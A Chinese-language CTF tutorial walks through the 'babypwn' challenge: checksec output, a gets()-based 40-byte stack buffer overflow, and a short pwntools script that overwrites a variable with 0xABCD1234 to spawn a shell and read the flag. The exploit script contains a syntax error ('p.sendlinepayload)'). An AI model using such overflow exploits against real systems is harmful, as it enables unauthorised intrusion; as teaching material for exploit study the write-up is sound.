---
# System prepended metadata

title: CTF PWN 題目教學範例：babypwn
tags: [pwn]

---

# CTF PWN 題目教學範例：babypwn

## 1. 題目環境初探


首先檢查檔案基本資訊：

```bash
file babypwn
checksec --file=./babypwn
```
![file](https://hackmd.io/_uploads/SkGxwvJPxg.png)

- 檔案為 x86 linux 執行格式

![checksec](https://hackmd.io/_uploads/rkRePDkDex.png)

- **NX** 沒開，代表 stack 可以執行程式
- **Canary** 未啟用，易於進行 stack overflow
- **PIE** 未啟用，程式基址固定


---

## 2. 程式反組譯與源碼分析

#### 取得反編譯結果（以下使用IDA 32bit開啟）

在main func中
![Screenshot 2025-07-24 160151](https://hackmd.io/_uploads/rkqRuwkPll.png)



#### 重要分析
- **s** 長度為 40 bytes
- 使用 `gets()`，無邊界檢查，存在典型 **stack buffer overflow** 漏洞


---

## 3. 漏洞點判斷與利用策略

本題**最直接的利用方式**就是「stack overflow → 將v5的值植入 0xABCD1234 → 執行 shell」。

---

## 4. 開發 Exploit 程式

#### 編寫 Python Exploit (pwntools)

```python
from pwn import *

p = process('./babypwn')

# 計算 offset
offset = 40

payload = b'A' * offset
payload += p32(0xABCD1234)

p.sendlinepayload)
p.interactive()
```

---

## 5. 實戰演練與取得 flag

1. **Local 測試：**  
   先在本地直接跑 payload，檢查是否能取得 shell。

2. **遠端攻擊：**  
   若題目有提供遠端 server（如 `nc host port`），即可直接用 exploit 連線。

```python
# 若有遠端
# p = remote('host', port)
```

3. **拿到 shell** 後，可下指令：
```sh
cat /home/ctf/flag
```
即可得到 flag！

